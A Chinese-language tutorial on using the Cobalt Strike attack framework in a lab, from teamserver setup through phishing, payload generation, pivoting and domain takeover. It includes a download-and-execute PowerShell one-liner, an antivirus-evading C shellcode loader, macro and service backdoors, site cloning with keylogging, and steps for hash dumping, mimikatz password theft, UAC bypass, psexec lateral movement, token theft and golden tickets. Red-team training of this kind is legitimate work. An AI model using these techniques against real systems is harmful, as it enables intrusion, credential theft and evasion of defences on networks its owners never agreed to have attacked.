cobalt strike
cobalt strike介绍
Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
目录结构
│ agscript 拓展应用的脚本
│ c2lint 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar 客户端程序
│ icon.jpg
│ license.pdf
│ readme.txt
│ releasenotes.txt
│ teamserver 服务端程序
│ update
│ update.jar
│
└─third-party 第三方工具
README.vncdll.txt
vncdll.x64.dll
vncdll.x86.dll
个人定制
Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提
权脚本等
Cobalt Strike通信配置文件是 Malleable C2 ,可以修改 CS的通讯特征,Beacon payload的一些行
为
Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/
框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。
启动运行
服务端跟客户端好像需要在同一网段,不然会超时,但是没有多次尝试来验证
有时候客户端启动白屏,可能是输入法问题,切换输入法试试。
或者有时候打开白屏,再打开就正常了
服务器放在Linux平台上,服务端关键文件是teamserver和cobaltstrike.jar,将这俩个文件放在同一个目录执行
sudo ./teamserver
一些参数
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
<host> 必需参数 团队服务器IP
<password> 必需参数 连接服务器的密码
[/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
[YYYY-MM-DD] 可选参数 所有payload的终止时间
密码设置成强密码,不然容易被爆破
在目录下查看文件权限,teamserver需要执行权限
ls -al
如果出错可赋予teamserver执行权限
之后客户端连接即可
也可在kali连接,同样需要赋予执行权限
sudo ./cobaltstrike
但是上面的命令启动如果窗口关闭,teamserver会自动关闭,可以使用nohub命令设置后台启动
sudo nohup ./teamserver 192.168.0.180 123456 &
可通过查看端口判断服务端是否启动
netstat -anpt
可以查看此进程
ps aux |grep teamserver
可以kill掉进程来关闭teamserver
sudo kill num
可以通过修改teamserver来修改端口等信息
sudo vi teamserver
基础使用
在连接服务端后,首先创建监听器
监听器payload支持多种协议
beacon是cobalt strike的内置监听器 包括dns、http、https、smb四种方式的监听器 foreign为外部监听器,配合Metasploit或者Armitage的监听器。
地址巡回策略
round-robin | 按主机名的顺序循环浏览主机名列表 |
---|---|
random | 每次访问时,从列表中随机选择一个主机名 已尝试连接。 |
failover-xx | 使用每台主机一段时间。指定的持续时间(m、h、d),然后使用下一个主机。 |
http地址(stager)这个可以填写ip本身 也可以填写多个域名 但是这个域名解析必须是teamserver的地址。
在dns增加多条a记录均指向teamserver的ip
添加三条记录
host是teamserver的地址 stager可以填写多个域名 可以使用随机 提供多个域名访问teamserver
使用wireshark抓包分析
上线分析,因为是random,可看到一个随机的域名解析
使用 攻击 ->生成后门->windows可执行程序 选择好监听器 生成后门上线
之后目标运行后即可上线
也可使用web投递方式上线
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.180:80/a'))"
目标运行后也可上线
colbat strike dns 上线
在内网使用时,如果防护墙只允许dns出网,可以使用dns后门上线,cs里内置dns上线模块
nslookup www.baidu.com 查询dns是否出网,发现dns可以出网
准备域名,设置 ns记录和a记录,并且把ns记录指向a记录
在公网的VPS里,启动服务端放在后台
nohup ./teamserver 10.68.3.12 QWEasd55aa &
建立dns监听器
因为dns的默认端口是53端口 在ubuntu的53端口默认是开启的,如果出现占用情况,在ubantu中先把53端口关闭
systemctl stop systemd-resolved
使用web传递,目标执行后上线是一个黑色图标。
右键选择会话交互使用命令 checkin,强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
执行完之可以获得上线的一些信息
在beacon支持三种dns执行命令方式 一般使用dns-txt较多
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
生成后门模块使用
生成后门界面有以下模块:
HTA文档
提供了3种生成方式 exe,powershell,vba。
其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。
目标运行hta文件之后,可以上线。
我们一般配合文件托管使用。
改名为hta文件
目标在点击url后下载运行文件后,我们上线。
office宏
将生成的宏文件 放在word文档,文档可以执行宏时,自动执行
选择监听器后,出现宏文档创建步骤
新建一个word文档,开发工具->宏->任意宏名->选择宏位置
将生成的宏代码替换
选择否->选择宏可用文件
之后会生成宏可用文件docm,启用宏,我们可以得到一个session,就上线了
pyaload生成器
cs里提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果
点击之后可以选择监听器以及输出格式,输出格式取决于 shellcode运行器类型。
点击generate,选择好路径,就可以生成shellcode
payload.c里面就是我们的shellcode
c/c++加载器
\#include <windows.h>
\#include <stdio.h>
\#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示 窗口
这里是shellcode代码
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (Memory == NULL) { return; }
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
我们打开vs studio
windows可执行程序
点击之后,进入配置页面,
提供三种输出类型:
- windows可执行程序,双击运行
- windows服务程序,可使用sc命令制作为服务程序,这是cs留后门的一种方法
- windows dll文件
windows exe
目标运行exe即可上线
windows service exe
选择监听器生成service1.exe,服务后门。
上传后门到目标,user那里有*表示我们可以完全控制机器。
返回beacon,使用命令
创建服务server1,=后必须有空格
shell sc create "server1" binpath= "C:\Windows\Temp\service1.exe"
给服务添加描述,可加可不加
shell sc description "server1" "description"
设置服务自启动
shell sc config "server1" start= auto
启动服务,权限提升到system
shell net start "server1"
windwos可执行程序 (Stageless)
Staged 和 Stageless 的区别:
前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,
Stageless 直接省去了接收 Payload 的步骤。Stageless 生成的 Payload 都会比 Staged 的要大很多,,而且包含了特征明细。
钓鱼模块
cs提供钓鱼模块,方便渗透。
主要有:站点管理、网站克隆、文件托管、web投递、签名applet攻击、智能applet攻击、信息搜集。
站点管理
对开启的web服务进行管理,我们生成的一些文件会在这里存储
网站克隆
克隆一个网站,发送给受害者,收集受害者提交的信息,可以选择攻击下载文件,也可以开启键盘记录。
可以在站点管理看到克隆的网站
受害者访问此url,可看到界面跟克隆的网站相同
可在视图里的web日志看到受害者信息,如果选择了攻击,用户会在访问网站时,自动弹出下载文件,执行之后我们可以获取到session
文件托管
文件托管可以将后门文件托管到一个url,目标访问之后自动下载文件,执行之后我们可以获取session
web投递
提供一个攻击载荷,目标运行之后我们可以获取session
这是生成的payload,用户执行之后我们可以获取session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.68.4.155:80/a'))"
信息搜集
生成一个页面,搜集目标浏览器系统信息,可以设置跳转url,比如设置一个钓鱼的url。
用户访问改url之后可以在web日志里面查看搜集到的信息。
邮件钓鱼
点击之后进入配置页面,分别为目标、模板、附件、嵌入url、邮件服务器、退信通知邮箱
目标我们可以准备一个user.txt文件,写入目标邮箱地址
模板我们可以使用eml文件,这个可以在qq邮箱导出
附件我们可以把后门放进来
嵌入url是目标在点击邮箱的url之后会自动跳转,我们可以放入钓鱼网站的url
beacon使用
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从 父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
smb beacon的工作流程
拿到一个session后,右键点击interact进入交互页面,可以使用beacon命令
输入help可以查看帮助文档
Command Description
------- -----------
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用 powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新
Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件
代理转发
socks代理
teamserver 192.168.234.128
12server5 192.168.234.129 10.10.10.139
12server4 10.10.10.138
拿到session后,修改回连间隔,进入beacon交互
使用socks设置1080端口代理
socks 1080
看到这里使用的是socks4a,修改proxychains4.conf文件,让工具走这条隧道
sudo vi /etc/proxychains4.conf
比如我们使用nmap ,利用proxychain走这条隧道进行扫描。
proxychains4 nmap 10.10.10.138 -sT -A -p 445
可看到成功通过这条隧道访问到了内网。
转发上线
转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话中转网络流量,即内网其他机器可通过连接攻陷机器上线。
teamserver 192.168.234.128
12server5 192.168.234.129 10.10.10.139
12server4 10.10.10.138
利用获取的session,右键->pivoting->listener,新建监听器
监听器使用当前会话
点击保存之后,beacon中可看到执行代码,所以也可以在beacon中使用。
接着生成后门,attacks ->packages->windows->executable(s),选择rve,
如果选择上面的windows可执行程序会发现没有刚才新建的监听器,之后生成beacon.exe后门
接下来如果内网目标点击了这个可执行程序,我们就可以获取到session
可看到内网主机与攻击机不互通
目标运行beacon之后,我们获取到了session,获取到的session会有圈圈。
点击视图查看
VPN部署
为CovertVPN新建一个虚拟机网卡和监听器,当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口
右键获取到的session->pivoting-> deploy vpn,部署vpn
点击之后可看到目标的俩块网卡,选择内网网卡,点击add,点击部署
beacon也执行了相关命令
也可以在cobalt strike-vpn interface这里查看配置的vpn
kali执行,尝试分配ip,这里看到已经有了内网段的ip
sudo ifconfig phear1 10.10.10.0/24
试着使用nmap扫描内网段
nmap -sT -Pn 10.10.10.138 -p 445
可看到直接扫描已经可以了,说明我们攻击机的流量进入到了内网
返回到cs查看,可看到有流量在跑
会话
Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。
使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。
spawn会话
可以使用spawn命令派生一个会话,帮助文档如下
我们新建一个监听器,选择beacon https,默认端口就为443
右键会话,点击spawn,选择刚才新建的beacon-https监听器
经过一会,可看到又获得了一个会话,进程为rundll32.exe,并且在会话交互中也可看到该操作的命令执行。
spawn 监听器名称
注入进程获取会话
右键->expore->process list,查看进程列表
我们本来的会话是administrator权限,我们可以选择一个system权限的进程注入进去,这样就可以获得一个system权限的会话
点击注入之后,选择监听器
之后再次得到了一个会话,可看到是system权限
cobalt strike派生会话到msf
我们可以将cs上线的会话派生到msf中
首先创建新的监听器,监听器类型选择foreign http,设置好ip和端口,
ip就为cs服务器ip,端口为之后msf回连端口
打开msf终端,执行以下命令,run之后msf开始监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost
set lport
run
右键会话->spawn->选择刚才新建的foreign http会话,之后cs就会自动把会话派生到msf
或者也可以使用beacon命令,可看到msf获取到了meterpreter会话
msf派生会话到cs
如果msf获取到了会话,也可通过payload_inject模块将会话派生到cs里面
在cs里面新建监听器,选择端口为9999
在msf里面执行如下命令,这里设置参数 disablepayloadhandler为true,用来禁止msf监听,如果不设置我们获取到的会话就是msf本地的
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set disablepayloadhandler true
set lhost
set lport
set session
run
我运行俩次试试,可看到cs多了俩个会话
后渗透
获取hash
凭证提权里有个抓取hash,类似于msf的hashdump
可以看到beacon执行hashdump,抓取到的hahs可以在视图里面的密码凭证里查看
抓取到的hash
提权
ms14-058/ms15-051/ms16-016/ms16-032
这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成
UAC-DLL
这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。
uac-token-duplication
这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。
Uac-eventvwr
这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV
Uac-wscript
这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效
右键->凭证提权->权限提升,cs原本存在俩个提权模块
原本存在俩个提权模块
我们可以在cs中添加脚本,使用更多的提权模块。进入scripts,将下载的elevatekit脚本在此处。github下载,modules里面有一些常用的提权exp
点击cobalt strike->脚本管理器,
点击加载->选择scripts里面的脚本文件->点击打开
返回权限提升操作发现成功导入了一些提权模块
我们尝试baypass uac
uac 用户账户控制,通过弹窗让用户进一步确认是否授权当前可执行文件
通俗的讲,我们在没有*的机器上getsytem无法成功,但是我们在bypass的主机getsystem可以成功。
假如我们此时上线一个主机,但是没有完全控制权限,此时在这台主机beacon中运行getsystem会失败。并且,我们在没有完全控制权限的主机上传dll文件会失败。
我们进行提权,选择uac-schtasks提权模块,该模块可以bypass uac,之后我们获取到一个完全控制的会话。
这时我们在这一个会话上运行getsystem就会成功。
抓取明文密码
右键->凭证提权->抓取明文密码,或者beacon中输入logonpasswords,需要管理员权限
横向移动
横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。
psexec横移
右键->浏览探测->网络探测,或者beacon中输入net view。
可以显示出网络中存活的主机,或者点击视图 ->目标列表。
新建一个smb监听器,
右键138这台主机,对他进行端口扫描,
端口只扫描445即可,会话选择139这台主机
可在beacon看到操作命令和显示信息,目标开放445端口
这里我们可以使用psexec进行横向移动。
可以使用hash,选择监听器为smb,会话为139主机,运行之后拿到会话
可看到通过横向从139拿到了138的session,如果此时139session断开连接,拿到的138也会断开,因为是通过139拿到的session
我们也可以不使用hash,使用jump命令,jump psexec 12server4 beacon-smb,可看到也拿到了session
上面俩个是通过正向连接的方式,如果目标开启了防火墙,这种方法就会失败。
我们可以使用反向连接的方法,首先先做一个代理转发->转发上线
之后使用jump命令,jump psexec 12server4 reverse,可看到又获得了一个session会话
窃取令牌
可以使用ps列出进程
使用steal_token pid,来窃取进程令牌,比如现在是adminnistrator权限,我们可以通过窃取进程令牌拿到system权限。通过rev2self来返回之前的令牌。
制作令牌
右键->凭证提权->创建令牌,输入用户名密码和域名来创建令牌
我这里创建的是域管理员的账号密码,我尝试拿域管的会话,可以看到成功了。(注:之前作得代理转发还在,所以我用的反向连接),可看到上方拿到了136主机的会话。
黄金票据
我们进入域控的会话交互,黄金票据的原理这里就不细说了,直接来做
使用hashdump拿到krbtgt的ntlmhash,可在视图中的密码凭证看到拿到的hash
使用shell whoami /user,拿到域的SID值,最后一个-前面是域的sid值,后面的500是用户的sid值,我们需要的是前面部分。
右键->凭证提权->黄金票据
填写对应信息,点击生成
下图可看到成功了,我们尝试dir域控目录也成功。